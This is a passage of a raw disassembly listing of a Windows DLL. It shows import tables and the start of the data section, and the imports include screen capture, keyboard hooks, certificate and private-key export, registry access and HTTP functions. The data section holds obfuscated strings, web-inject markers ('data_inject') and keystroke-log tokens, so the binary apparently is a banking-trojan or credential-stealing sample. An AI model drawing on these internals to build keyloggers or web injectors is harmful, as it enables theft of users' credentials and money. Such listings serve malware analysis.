		dd offset word_1002054C
		dd offset word_10020558
		dd offset word_10020576
		dd offset word_1002058E
		dd offset word_100205A0
		dd 0
word_100204D0	dw 0			; DATA XREF: .rdata:gdiplus_dll_dinto
aGdipgetimageen	db 'GdipGetImageEncodersSize',0
		align 4
word_100204EC	dw 0			; DATA XREF: .rdata:100204A4o
aGdipgetimage_1	db 'GdipGetImageEncoders',0
		db 42h
word_10020504	dw 0			; DATA XREF: .rdata:100204A8o
aGdipsaveimaget	db 'GdipSaveImageToFile',0
word_1002051A	dw 0			; DATA XREF: .rdata:100204ACo
aGdipdisposeima	db 'GdipDisposeImage',0
		db 72h
word_1002052E	dw 0			; DATA XREF: .rdata:100204B0o
aGdipfree	db 'GdipFree',0
		db 0FFh
word_1002053A	dw 0			; DATA XREF: .rdata:100204B4o
aGdipcloneimage	db 'GdipCloneImage',0
		db 70h
word_1002054C	dw 0			; DATA XREF: .rdata:100204B8o
aGdipalloc	db 'GdipAlloc',0
word_10020558	dw 0			; DATA XREF: .rdata:100204BCo
aGdipcreatebitm	db 'GdipCreateBitmapFromHBITMAP',0
word_10020576	dw 0			; DATA XREF: .rdata:100204C0o
aGdipclonebitma	db 'GdipCloneBitmapAreaI',0
		align 2
word_1002058E	dw 0			; DATA XREF: .rdata:100204C4o
aGdiplusstartup	db 'GdiplusStartup',0
		align 10h
word_100205A0	dw 0			; DATA XREF: .rdata:100204C8o
aGdiplusshutdow	db 'GdiplusShutdown',0
		align 4
gdiplus_dll_dbiat dd 0			; DATA XREF: .rdata:10020474o
					; gdiplus.dll bound delayed import address table
		dd 0Bh dup(0)
		dd 208D4h, 2 dup(0)
		dd 20C92h, 1E200h, 20780h, 2 dup(0)
		dd 2118Ah, 1E0ACh, 209FCh, 2 dup(0)
		dd 213EAh, 1E328h, 20754h, 2 dup(0)
		dd 214A4h, 1E080h, 206D4h, 2 dup(0)
		dd 215BCh, 1E000h, 20B0Ch, 2 dup(0)
		dd 215FEh, 1E438h, 209C8h, 2 dup(0)
		dd 21608h, 1E2F4h, 209F0h, 2 dup(0)
		dd 2163Ah, 1E31Ch, 20AC8h, 2 dup(0)
		dd 2165Ch, 1E3F4h, 20A8Ch, 2 dup(0)
		dd 217A0h, 1E3B8h, 20718h, 2 dup(0)
		dd 2190Ah, 1E044h, 5 dup(0)
		dd 21B00h, 214BCh, 214D0h, 214E0h, 214F0h, 21500h, 2150Eh
		dd 21520h, 21532h, 2154Ah, 21562h, 21576h, 21588h, 21598h
		dd 215ACh, 214AEh, 0
		dd 218E8h, 218D2h, 218C0h, 218A0h, 21890h, 2186Ch, 21854h
		dd 21844h, 21826h, 21810h, 217F2h, 217CEh, 217BCh, 217ACh
		dd 0
		dd 21490h, 2147Ah, 21464h, 21454h, 21446h, 2142Ch, 21406h
		dd 21412h, 21422h, 213F6h, 0
		dd 20CFAh, 20D08h, 20D14h, 20D2Ah, 20D3Eh, 20D4Ah, 20D5Ch
		dd 20D6Ch, 20D78h, 20D86h, 20D94h, 20DA0h, 20DB2h, 20DC8h
		dd 20DDEh, 20CECh, 20E04h, 20E14h, 20E30h, 20E46h, 20E54h
		dd 20E64h, 20E74h, 20E84h, 20E92h, 20EA8h, 20EB6h, 20ECEh
		dd 20EE6h, 20EFCh, 20CE0h, 20F1Ch, 20F28h, 20F36h, 20F44h
		dd 20F4Ch, 20F5Ch, 20F68h, 20F7Ah, 20F8Ah, 20F9Eh, 20FAEh
		dd 20FC4h, 20FD4h, 20FEEh, 20FFEh, 2100Eh, 2101Ah, 2102Ah
		dd 2103Ch, 21054h, 2106Ch, 21088h, 210A2h, 210BCh, 210CEh
		dd 210E2h, 210F0h, 21102h, 21118h, 21128h, 2113Ch, 2114Ah
		dd 21156h, 21160h, 2116Ch, 21178h, 20CD2h, 20CC6h, 20CBAh
		dd 20F08h, 20DF4h, 21AEEh, 21AD8h, 21AC8h, 21AB8h, 21AA8h
		dd 21A94h, 21A80h, 21A68h, 21A58h, 21A46h, 21A28h, 21A18h
		dd 0
		dd 21A00h, 219EAh, 219E2h, 219D6h, 219CEh, 219C4h, 219BCh
		dd 219B0h, 219A8h, 20B26h, 2199Eh, 21992h, 2198Ah, 21982h
		dd 21976h, 2196Ah, 21960h, 20B30h, 20B3Ah, 20B44h, 20B4Eh
		dd 20CAAh, 20C9Eh, 20C88h, 20C7Ah, 20C70h, 20C68h, 20C5Eh
		dd 20C54h, 20C4Ah, 20C40h, 20C2Ch, 20C24h, 20C1Ch, 20C12h
		dd 20C08h, 20BFEh, 20BF4h, 20BECh, 20BDCh, 20BD2h, 20BC2h
		dd 20BB8h, 21956h, 21948h, 2193Ah, 21930h, 20B58h, 20B62h
		dd 20B6Ch, 20B74h, 20B7Eh, 20B88h, 20B92h, 20B9Ch, 21928h
		dd 21920h, 21916h, 20BB0h, 20B1Ch, 0
		dd 80000095h, 80000096h, 80000009h, 80000008h, 8000000Ah
		dd 80000006h, 80000007h, 800000C8h, 80000002h, 0
		dd 21616h, 21628h, 0
		dd 21200h, 21212h, 21226h, 21232h, 2123Eh, 21254h, 21268h
		dd 21284h, 21296h, 212ACh, 212C6h, 212D8h, 212E8h, 212F4h
		dd 211F2h, 2131Ch, 21330h, 21346h, 21352h, 2135Eh, 2136Ah
		dd 2137Eh, 213A0h, 213ACh, 213B8h, 213C4h, 213CCh, 213DCh
		dd 211DEh, 21308h, 21392h, 21198h, 211A8h, 211BCh, 211CCh
		dd 0
		dd 21668h, 21684h, 2169Ah, 216B8h, 216CCh, 216E0h, 216F4h
		dd 21708h, 2171Eh, 21732h, 21746h, 2175Ah, 21772h, 21788h
		dd 0
		dd 21650h, 80000006h, 8000006Fh, 80000005h, 80000033h
		dd 21646h, 80000013h, 80000012h, 80000010h, 80000073h
		dd 80000034h, 80000009h, 80000017h, 80000004h, 80000003h
		dd 8000000Ch, 0
		dd 215ECh, 215DCh, 215CAh, 0
		db 0BFh	; ¿
		db 2, 73h, 74h
aRncat		db 'rncat',0
		dw 2BEh
aStrlen		db 'strlen',0
		align 10h
		db  99h	; ™
		db 2, 6Dh, 65h
aMset		db 'mset',0
		align 2
		dw 291h
aMalloc		db 'malloc',0
		align 4
		db 0B7h	; ·
		db 2, 73h, 74h
aRchr		db 'rchr',0
		align 2
		dw 2C1h
aStrncpy	db 'strncpy',0
		db 0C5h	; Å
		db 2, 73h, 74h
aRstr		db 'rstr',0
		align 2
		dw 2B6h
aStrcat		db 'strcat',0
		align 4
		db  5Eh	; ^
		db 2, 66h, 72h
		db  65h	; e
		db 65h,	2 dup(0)
		db 0C3h	; Ã
		db 2, 73h, 74h
aRrchr		db 'rrchr',0
		dw 2B8h
aStrcmp		db 'strcmp',0
		align 4
		db 0BAh	; º
		db 2, 73h, 74h
aRcpy		db 'rcpy',0
		align 2
		dw 2B2h
aSprintf	db 'sprintf',0
aI_5		db 'I',0
a__cxxframehand	db '__CxxFrameHandler',0
		db 0A6h	; ¦
		db 2, 72h, 61h
		db  6Eh	; n
		db 64h,	2 dup(0)
		db 0E1h	; á
		db 2, 77h, 63h
aScmp		db 'scmp',0
		align 2
		dw 10h
a??3@yaxpax@z	db '??3@YAXPAX@Z',0
		align 2
		dw 240h
aCalloc		db 'calloc',0
		align 4
		db  0Fh
		align 2
a??2@yapaxi@z	db '??2@YAPAXI@Z',0
		align 4
		db  3Dh	; =
		db 2, 61h, 74h
		db  6Fh	; o
		db 69h,	2 dup(0)
		db  97h	; —
		db 2, 6Dh, 65h
aMcpy		db 'mcpy',0
		align 2
		dw 2E6h
aWcslen		db 'wcslen',0
		align 4
		db  73h	; s
		db 2, 69h, 73h
aDigit		db 'digit',0
		dw 271h
aIsalpha	db 'isalpha',0
		db 0B4h	; ´
		db 2, 73h, 72h
		db  61h	; a
		db 6Eh,	64h, 0
		db 0D0h	; Ð
		db 2, 74h, 69h
		db  6Dh	; m
		db 65h,	2 dup(0)
		db 0CAh	; Ê
		align 2
a_except_handle	db '_except_handler3',0
		align 10h
		db 0A7h	; §
		db 2, 72h, 65h
aAlloc		db 'alloc',0
		dw 2B5h
aSscanf		db 'sscanf',0
		align 4
		db  9Eh	; ž
		db 2, 70h, 72h
aIntf		db 'intf',0
		align 2
		dw 258h
aFprintf	db 'fprintf',0
		db  13h
		db 1, 5Fh, 69h
		db  6Fh	; o
		db 62h,	2 dup(0)
		db 0C0h	; À
		db 2, 73h, 74h
aRncmp		db 'rncmp',0
aU_0		db 'U',0
a__dllonexit	db '__dllonexit',0
		db  86h	; †
		db 1, 5Fh, 6Fh
aNexit		db 'nexit',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 2
		dw 10Fh
a_initterm	db '_initterm',0
aA		db '',0
a_adjust_fdiv	db '_adjust_fdiv',0
		align 2
		dw 302h
aLstrcpya	db 'lstrcpyA',0
		align 2
		dw 308h
aLstrlena	db 'lstrlenA',0
		align 2
		db 1Bh,0
aClosehandle	db 'CloseHandle',0
		db  18h
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 4
		db  12h
		db 1, 47h, 65h
aTfilesize	db 'tFileSize',0
a4		db '4',0
aCreatefilea	db 'CreateFileA',0
		db 0F9h	; ù
		db 2, 6Ch, 73h
aTrcata		db 'trcatA',0
		align 4
		db  24h	; $
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 126h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 2FCh
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 13Eh
aGetprocaddress	db 'GetProcAddress',0
		align 4
		dd 6F4C01C2h, 694C6461h, 72617262h, 4179h, 6F4C01CCh, 466C6163h
		dd 656572h, 6F4C01C8h, 416C6163h, 636F6C6Ch, 26C0000h
		dd 46746553h, 54656C69h, 656D69h, 725702DFh, 46657469h
		dd 656C69h, 6553026Ah, 6C694674h, 696F5065h, 7265746Eh
		dd 1590000h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db 0D2h	; Ò
		db 2, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 1E4h
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0A1h	; ¡
		db 2, 54h, 68h
aRead32next	db 'read32Next',0
		align 4
		db 0A0h	;  
		db 2, 54h, 68h
aRead32first	db 'read32First',0
		db 'L',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
		align 10h
		db 0F8h	; ø
		align 2
aGetcurrentproc	db 'GetCurrentProcessId',0
		db '~',0
aExitthread	db 'ExitThread',0
		align 4
aJ		db 'J',0
aCreatethread	db 'CreateThread',0
		align 4
		dd 6547016Dh, 63695474h, 756F436Bh, 746Eh, 65470166h, 6D655474h
		dd 74615070h, 5768h, 6552022Bh,	45746573h, 746E6576h, 2CE0000h
aWaitforsingleo	db 'WaitForSingleObject',0
		db '´',0
aFreelibrary	db 'FreeLibrary',0
		dw 1B0h
aInterlockedinc	db 'InterlockedIncrement',0
		align 2
		dw 1ADh
aInterlockeddec	db 'InterlockedDecrement',0
		align 2
		dw 0FAh
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		db  65h	; e
		db 2, 53h, 65h
aTevent		db 'tEvent',0
		align 4
		db 0F7h	; ÷
		align 2
aGetcurrentpr_0	db 'GetCurrentProcess',0
		dd 6F4D01DDh, 69466576h, 41656Ch, 65440057h, 6574656Ch
		dd 656C6946h, 1140041h,	46746547h, 54656C69h, 656D69h
		dd 6C530296h, 706565h, 6946009Dh, 654E646Eh, 69467478h
		dd 41656Ch, 69460090h, 6C43646Eh, 65736Fh, 69460094h, 6946646Eh
		dd 46747372h, 41656C69h, 1040000h, 44746547h, 65766972h
		dd 65707954h, 1200041h,	4C746547h, 6369676Fh, 72446C61h
		dd 73657669h, 2610000h,	45746553h, 664F646Eh, 656C6946h
		dd 2680000h
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db  65h	; e
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db    6
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
a1_2		db '1',0
aCreateeventa	db 'CreateEventA',0
		align 2
		dw 15Dh
aGetsystemtime	db 'GetSystemTime',0
		dw 2FFh
aLstrcmpia	db 'lstrcmpiA',0
		dw 175h
aGetversionexa	db 'GetVersionExA',0
		dw 11Ch
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		db 0C1h	; Á
		db 1, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aF		db 'f',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db 0AAh	; ª
		db 1, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		db  5Fh	; _
		db 1, 47h, 65h
aTsystemtimeasf	db 'tSystemTimeAsFileTime',0
		dw 276h
aSetnamedpipeha	db 'SetNamedPipeHandleState',0
		dd 615702D1h, 614E7469h, 5064656Dh, 57657069h, 0AA0000h
		dd 73756C46h, 6C694668h, 66754265h, 73726566h, 370000h
		dd 61657243h, 69466574h, 57656Ch, 72430045h, 65746165h
		dd 636F7250h, 57737365h, 1250000h
aGetmodulefilen	db 'GetModuleFileNameW',0
		align 4
		dd 6547011Ah, 73614C74h, 72724574h, 726Fh, 654700F9h, 72754374h
		dd 746E6572h, 65726854h, 6461h,	6C5402A5h, 74655373h, 756C6156h
		dd 2A20065h, 41736C54h,	636F6C6Ch, 2A30000h, 46736C54h
		dd 656572h, 6548019Fh, 72467061h, 6565h, 65480199h, 6C417061h
		dd 636F6Ch, 65470140h, 6F725074h, 73736563h, 70616548h
		dd 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 654700EDh, 616C4374h
		dd 614E7373h, 41656Dh, 6E4500BDh, 68436D75h, 57646C69h
		dd 6F646E69h, 7377h, 65530214h,	654D646Eh, 67617373h, 4165h
		dd 695702A9h, 776F646Eh, 6D6F7246h, 6E696F50h, 1460074h
		dd 53746547h, 65747379h, 74654D6Dh, 73636972h, 0E10000h
		dd 41746547h, 7365636Eh, 726F74h, 73490192h, 646E6957h
		dd 6956776Fh, 6C626973h, 0CD0065h
aEnumthreadwind	db 'EnumThreadWindows',0
		dw 2ADh
aWsprintfw	db 'wsprintfW',0
		dw 195h
aKilltimer	db 'KillTimer',0
		dw 286h
aUnhookwindowsh	db 'UnhookWindowsHookEx',0
		db  62h	; b
		db 2, 53h, 65h
aTwindowshookex	db 'tWindowsHookExA',0
		db  62h	; b
		db 1, 47h, 65h
aTwindowthreadp	db 'tWindowThreadProcessId',0
		align 4
		dd 61430015h, 654E6C6Ch, 6F487478h, 78456B6Fh, 2170000h
aSendmessagetim	db 'SendMessageTimeoutA',0
		db    0
		db 2, 52h, 65h
aGisterwindowme	db 'gisterWindowMessageA',0
		align 2
		dw 20Ah
aScreentoclient	db 'ScreenToClient',0
		align 4
		db 0FCh	; ü
		align 2
aGetcursorpos	db 'GetCursorPos',0
		align 4
		db  78h	; x
		db 2, 54h, 6Fh
aAsciiex	db 'AsciiEx',0
		db  13h
		db 1, 47h, 65h
aTkeyboardlayou	db 'tKeyboardLayout',0
		db  17h
		db 1, 47h, 65h
aTkeyboardstate	db 'tKeyboardState',0
		align 4
		db 0Ah,0
aAttachthreadin	db 'AttachThreadInput',0
		dd 65470108h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
		dd 0B20077h, 77617244h,	74786554h, 2AC0057h, 72707377h
		dd 66746E69h, 0AF0041h,	77617244h, 74786554h, 950041h
		dd 70736944h, 68637461h, 7373654Dh, 41656761h, 2820000h
		dd 6E617254h, 74616C73h, 73654D65h, 65676173h, 12A0000h
		dd 4D746547h, 61737365h, 416567h, 65530252h, 6D695474h
		dd 7265h, 694600D4h, 65526C6Ch,	7463h, 65520203h, 7361656Ch
		dd 434465h, 654700FDh, 434474h,	784500D3h, 69577469h, 776F646Eh
		dd 784573h, 654D01BEh, 67617373h, 786F4265h, 53550041h
		dd 32335245h, 6C6C642Eh, 530000h, 656C6544h, 624F6574h
		dd 7463656Ah, 500000h, 656C6544h, 43446574h, 1C70000h
		dd 656C6553h, 624F7463h, 7463656Ah, 110000h, 42746942h
		dd 746Ch, 72430029h, 65746165h,	706D6F43h, 62697461h, 6942656Ch
		dd 70616D74h, 1CD0000h,	42746553h, 6C6F436Bh, 726Fh, 655301F3h
		dd 78655474h, 6C6F4374h, 726Fh,	7243002Ah, 65746165h, 706D6F43h
		dd 62697461h, 4344656Ch, 370000h, 61657243h, 6F466574h
		dd 6E49746Eh, 65726964h, 417463h, 7243004Dh, 65746165h
		dd 696C6F53h, 75724264h, 6873h,	33494447h, 6C642E32h, 15B006Ch
		dd 43676552h, 65736F6Ch, 79654Bh, 6552017Bh, 65755167h
		dd 61567972h, 4565756Ch, 4178h,	6552016Ah, 756E4567h, 6C61566Dh
		dd 416575h, 65520167h, 756E4567h, 79654B6Dh, 417845h, 65520172h
		dd 65704F67h, 79654B6Eh, 417845h, 6552016Ch, 756C4667h
		dd 654B6873h, 1860079h,	53676552h, 61567465h, 4565756Ch
		dd 4178h, 6552015Fh, 65724367h,	4B657461h, 78457965h, 170041h
		dd 756A6441h, 6F547473h, 506E656Bh, 69766972h, 6567656Ch
		dd 0F50073h, 6B6F6F4Ch,	72507075h, 6C697669h, 56656765h
		dd 65756C61h, 1420041h,	6E65704Fh, 636F7250h, 54737365h
		dd 6E656B6Fh, 1640000h,	44676552h, 74656C65h, 6C615665h
		dd 416575h, 65520162h, 6C654467h, 4B657465h, 417965h, 72430064h
		dd 47747079h, 72507465h, 6150766Fh, 6D6172h, 6552016Bh
		dd 756E4567h, 6C61566Dh, 576575h, 41564441h, 32334950h
		dd 6C6C642Eh, 530000h, 6E556F43h, 74696E69h, 696C6169h
		dd 657Ah, 6F43002Dh, 74696E49h,	696C6169h, 657Ah, 4C430006h
		dd 46444953h, 536D6F72h, 6E697274h, 6C6F0067h, 2E323365h
		dd 6C6C64h, 41454C4Fh, 32335455h, 6C6C642Eh, 0B0000h, 72636544h
		dd 4D747079h, 61737365h, 6567h,	6E45000Fh, 70797263h, 73654D74h
		dd 65676173h, 65530000h, 33727563h, 6C642E32h, 35006Ch
		dd 53415357h, 646E65h, 53570025h, 636F4941h, 6C74h, 5F325357h
		dd 642E3233h, 6C6Ch, 6E490083h,	6E726574h, 65537465h, 61745374h
		dd 43737574h, 626C6C61h, 6B6361h, 7448004Ah, 65537074h
		dd 6552646Eh, 73657571h, 41784574h, 740000h, 65746E49h
		dd 74656E72h, 72657551h, 74614479h, 61764161h, 62616C69h
		dd 656Ch, 74480049h, 65537074h,	6552646Eh, 73657571h, 4174h
		dd 7448004Ch, 65537074h, 6552646Eh, 73657571h, 5774h, 74480045h
		dd 704F7074h, 65526E65h, 73657571h, 4174h, 6E490071h, 6E726574h
		dd 704F7465h, 72556E65h, 416Ch,	6E490078h, 6E726574h, 65527465h
		dd 69466461h, 7845656Ch, 880041h, 65746E49h, 74656E72h
		dd 74697257h, 6C694665h, 770065h, 65746E49h, 74656E72h
		dd 64616552h, 656C6946h, 5A0000h, 65746E49h, 74656E72h
		dd 6E6E6F43h, 41746365h, 320000h, 55746547h, 61436C72h
		dd 45656863h, 7972746Eh, 6F666E49h, 560041h, 65746E49h
		dd 74656E72h, 736F6C43h, 6E614865h, 656C64h, 6E490075h
		dd 6E726574h, 75517465h, 4F797265h, 6F697470h, 416Eh, 494E4957h
		dd 2E54454Eh, 6C6C64h, 724300A2h, 4D747079h, 6C416D65h
		dd 636F6Ch, 6543000Fh, 6C437472h, 5365736Fh, 65726F74h
		dd 740000h, 70797243h, 71634174h, 65726975h, 74726543h
		dd 63696669h, 50657461h, 61766972h, 654B6574h, 290079h
		dd 74726543h, 6D756E45h, 74726543h, 63696669h, 73657461h
		dd 74536E49h, 65726Fh, 4650010Ah, 706D4958h, 4374726Fh
		dd 53747265h, 65726F74h, 3C0000h, 74726543h, 65657246h
		dd 74726543h, 63696669h, 43657461h, 65746E6Fh, 7478h, 724300A3h
		dd 4D747079h, 72466D65h, 6565h,	46500109h, 70784558h, 4374726Fh
		dd 53747265h, 65726F74h, 7845h,	65430004h, 64417472h, 72654364h
		dd 69666974h, 65746163h, 746E6F43h, 54747865h, 6F74536Fh
		dd 6572h, 65430050h, 704F7472h,	74536E65h, 65726Fh, 6543001Bh
		dd 72437472h, 65746165h, 666C6553h, 6E676953h, 74726543h
		dd 63696669h, 657461h, 65430064h, 74537472h, 4E6F5472h
		dd 41656D61h, 450000h, 74726543h, 4E746547h, 53656D61h
		dd 6E697274h, 4167h, 6543001Eh,	65447472h, 6574656Ch, 74726543h
		dd 63696669h, 46657461h, 536D6F72h, 65726F74h, 52430000h
		dd 33545059h, 6C642E32h, 24C006Ch, 6F6C6366h, 6573h, 7266025Dh
		dd 646165h, 6F660257h, 6E6570h,	77660266h, 65746972h, 420000h
		dd 5F48455Fh, 6C6F7270h, 676Fh,	6D5F0169h, 626E7362h, 706D6369h
		dd 2980000h, 6D6D656Dh,	65766Fh, 6D5F017Ch, 74737362h
		dd 1650072h, 73626D5Fh,	6D63626Eh, 15F0070h, 73626D5Fh
		dd 706D6369h, 2640000h,	6C657466h, 262006Ch, 65657366h
		dd 1C5006Bh, 7274735Fh,	6D63696Eh, 1C30070h, 7274735Fh
		dd 72776Ch, 695F0134h, 616F74h,	735F01C1h, 63697274h, 706Dh
		dd 70660259h, 637475h, 657202AAh, 646E6977h, 2490000h
		dd 74697865h, 2D90000h,	72706676h, 66746E69h, 29F0000h
		dd 63747570h, 410000h, 7878435Fh, 6F726854h, 63784577h
		dd 69747065h, 6E6Fh, 3F3F000Eh,	70797431h, 6E695F65h, 40406F66h
		dd 40454155h, 5A58h, 695602C6h,	61757472h, 6575516Ch, 7972h
		dd 6E4901ACh, 6C726574h, 656B636Fh, 6D6F4364h, 65726170h
		dd 68637845h, 65676E61h, 2C30000h, 74726956h, 506C6175h
		dd 65746F72h, 7463h, 6552022Ch,	656D7573h, 65726854h, 6461h
		dd 6C4600ABh, 49687375h, 7274736Eh, 69746375h, 61436E6Fh
		dd 656863h, 65470167h, 72685474h, 43646165h, 65746E6Fh
		dd 7478h, 65530283h, 72685474h,	43646165h, 65746E6Fh, 7478h
		dd 75530298h, 6E657073h, 72685464h, 646165h, 695602BBh
		dd 61757472h, 6C6C416Ch, 636Fh,	65530271h, 73614C74h, 72724574h
		dd 726Fh, 6E4901AEh, 6C726574h,	656B636Fh, 63784564h, 676E6168h
		dd 20B0065h, 73696152h,	63784565h, 69747065h, 6E6Fh, 734900E5h
		dd 74786554h, 63696E55h, 65646Fh, 0
a6j		db '{+6J',0
		align 4
		dd 21B42h, 3 dup(1), 21B38h, 21B3Ch, 21B40h, 1361Ah, 21B4Fh
		dd 736D0000h, 6C633233h, 642E646Fh, 4E006C6Ch, 456C6C75h
		dd 726F7078h, 74h, 29h dup(0)
_rdata		ends

; Section 3. (virtual address 00022000)
; Virtual size			: 0005889C ( 362652.)
; Section size in file		: 00002400 (   9216.)
; Offset to raw	data for section: 00020400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 10022000h
dword_10022000	dd 0				dd offset sub_10001000
		dd offset sub_10001053
		dd offset sub_1000107A
		dd offset sub_1000FBC2
		dd offset sub_1000FDD1
		dd offset sub_10018A8D
		dd offset sub_1001C95F
dword_10022020	dd 4 dup(0)	; int off_10022030
off_10022030	dd offset dword_10022118 ; DATA	XREF: sub_100020B5+375r
					; sub_1000291D+94r ...
; char *off_10022034
off_10022034	dd offset dword_10022120 ; DATA	XREF: sub_1000B7EF+48Dr
; char *off_10022038
off_10022038	dd offset dword_1002216C ; DATA	XREF: sub_1000A318+A41r
; LPCSTR lpValueName
lpValueName	dd offset dword_100221A4 ; DATA	XREF: sub_1000A318+A3Ar
; char *off_10022040
off_10022040	dd offset dword_10073984 ; DATA	XREF: sub_1000A318+A34r
; char *off_10022044
off_10022044	dd offset dword_100221B4 ; DATA	XREF: sub_1000A318+7A1r
					; sub_1000B027+4AEr ...
; char *off_10022048
off_10022048	dd offset dword_100221EC ; DATA	XREF: sub_1000B7EF+50Fr
		dd offset dword_10022224
; char *off_10022050
off_10022050	dd offset aJIKI		; DATA XREF: TimerFunc+2E3r
					; sub_10009FE2+48r ...
					; "šÏ†šÅ›ÅÝŊ؈"
		dd offset aJIKI_0	; "šÏ†šÒ›ÅÝŊĈ"
		dd offset dword_10022250
; char *off_1002205C
off_1002205C	dd offset aI		; DATA XREF: sub_1000A318+596r
					; sub_1000B7EF+F3r
					; "ÅÆÁ›ÑÔÁ"
; char *off_10022060
off_10022060	dd offset aI_0		; DATA XREF: sub_1000B7EF+116r
					; "ÜÆÁ›ÑÔÁ"
; char *off_10022064
off_10022064	dd offset dword_1002226C ; DATA	XREF: sub_1000A318+623r
; char *off_10022068
off_10022068	dd offset aSI		; DATA XREF: StartAddress+75Er
					; sub_1000A318+138r
					; "éÖØ›ÑÔÁ"
; char *off_1002206C
off_1002206C	dd offset aSI_0		; DATA XREF: sub_10016C4C+3E5r
					; "éÅÇÁ›ÑÔÁ"
; char *off_10022070
off_10022070	dd offset aPss		; DATA XREF: sub_1000A318+94Ar
					; sub_1000A318+97Br ...
					; "ÖééÛÁÙÑÇ"
; char *off_10022074
off_10022074	dd offset aPssI		; DATA XREF: sub_1000A318+89Dr
					; sub_1000A318+8CDr ...
					; "Öéé×ÚÚÁ›ÜÛÜ"
; char *off_10022078
off_10022078	dd offset aMjgni	; DATA XREF: sub_1000291D+9Br
					; sub_10009FE2+2A8r ...
					; "ÅÐÇÓÏŒ†ƒ›ÑÔÁ"
; char *off_1002207C
off_1002207C	dd offset aSGavji	; DATA XREF: sub_1000B536+15Er
					; "éÅÐÇÓÖƒ€‚†›ÑÔÁ"
; char *off_10022080
off_10022080	dd offset aSVgnji	; DATA XREF: sub_1000B536+DBr
					; "éÅÐÇÓÖ‚ƒ†›ÑÔÁ"
; char *off_10022084
off_10022084	dd offset aI_1		; DATA XREF: sub_100020B5+37Cr
					; "ÅÆÁÚÇÐÖ›ÑÙÙ"
		dd offset dword_100222E8
; char *off_1002208C
off_1002208C	dd offset aI_2		; DATA XREF: sub_10016C4C+118r
					; "ÂÜÛÜÛÐÁ›ÑÙÙ"
; char *off_10022090
off_10022090	dd offset dword_10022330 ; DATA	XREF: sub_10016C4C+13Er
; char *off_10022094
off_10022094	dd offset aDIKI		; DATA XREF: sub_10016C4C+6A1r
					; sub_10016C4C+710r
					; "šÅ„šÒ›ÅÝÅŠÜш"
; char *off_10022098
off_10022098	dd offset dword_1002235C ; DATA	XREF: sub_10016C4C+256r
; char *off_1002209C
off_1002209C	dd offset dword_10022360 ; DATA	XREF: sub_10016C4C+222r
; char *off_100220A0
off_100220A0	dd offset asc_10022364	; DATA XREF: sub_10016C4C+D8r
					; "ÙÜÆÁÐÛ"
; char *off_100220A4
off_100220A4	dd offset dword_1002236C ; DATA	XREF: sub_10016C4C+64Br
; LPCSTR off_100220A8
off_100220A8	dd offset aRRsI		; DATA XREF: sub_10016C4C+644r
					; "ÂÜÛÑÜÇéÐÍÅÙÚÇÐÇ›ÐÍÐ"
; char *off_100220AC
off_100220AC	dd offset dword_100223FC ; DATA	XREF: sub_10016C4C+63Er
; char *off_100220B0
off_100220B0	dd offset dword_10022428 ; DATA	XREF: sub_10016C4C+569r
					; sub_10016C4C+628r
; char *off_100220B4
off_100220B4	dd offset dword_10022498 ; DATA	XREF: sub_10016C4C+53Cr
					; sub_10016C4C+5FBr
; char *off_100220B8
off_100220B8	dd offset aIQiQiQiDzqiQiD ; DATA XREF: sub_100100FD+65r
					; "›ÅÓÍŸ›ÖÐÇŸ›ÖÇÁŸ›Å„‡Ÿ›ÆÅÖŸ›Å„‡Ÿ›ÆÁÙŸ›ÖÇÙ"...
; char *off_100220BC
off_100220BC	dd offset dword_100224D8 ; DATA	XREF: sub_1000FFF9+90r
; char *off_100220C0
off_100220C0	dd offset aSAmjzi	; DATA XREF: sub_1000B7EF+73Ar
					; "éÅÐÇÓÖ€Œ†‡›ÑÔÁ"
; char *off_100220C4
off_100220C4	dd offset dword_10022504 ; DATA	XREF: sub_1000EB30+583r
; char *off_100220C8
off_100220C8	dd offset aSSS_0	; DATA XREF: sub_1000A318+3D8r
					; "éÑÇÜÃÐÇÆéÐÁÖéÝÚÆÁÆ"
; char *off_100220CC
off_100220CC	dd offset aI_3		; DATA XREF: sub_1000B7EF+13Ar
					; sub_10016C4C+1B7r
					; "ÏÔÜÞÚÑ›ÖÛ"
; char *off_100220D0
off_100220D0	dd offset aI_4		; DATA XREF: sub_1000B7EF+171r
					; sub_10016C4C+1EFr
					; "ßÜÑÇÞÔ›ÖÛ"
; char *SubStr
SubStr		dd offset aData_before	; DATA XREF: sub_100015CE+32Ar
					; sub_100015CE+373r ...
					; "data_before"
		dd offset aData_inject	; "data_inject"
		dd offset aData_after	; "data_after"
		dd offset aData_end	; "data_end"
dword_100220E4	dd 1		dword_100220E8	dd 1				dd 2 dup(1)
; LPCSTR lpString2
lpString2	dd offset aTb		; DATA XREF: .text:loc_10004CAEr
					; sub_10004DAA:loc_10004EFDr
					; "<tb>"
; LPCSTR off_100220F8
off_100220F8	dd offset aBs		; DATA XREF: .text:loc_10004CC3r
					; sub_10004DAA:loc_10004F1Dr
					; "<bs>"
; LPCSTR off_100220FC
off_100220FC	dd offset aDl		; DATA XREF: .text:loc_10004CD9r
					; sub_10004DAA:loc_10004F3Dr
					; "<dl>"
; LPCSTR off_10022100
off_10022100	dd offset aSp		; DATA XREF: .text:loc_10004CEFr
					; sub_10004DAA:loc_10004F5Cr
					; "<sp>"
; LPCSTR off_10022104
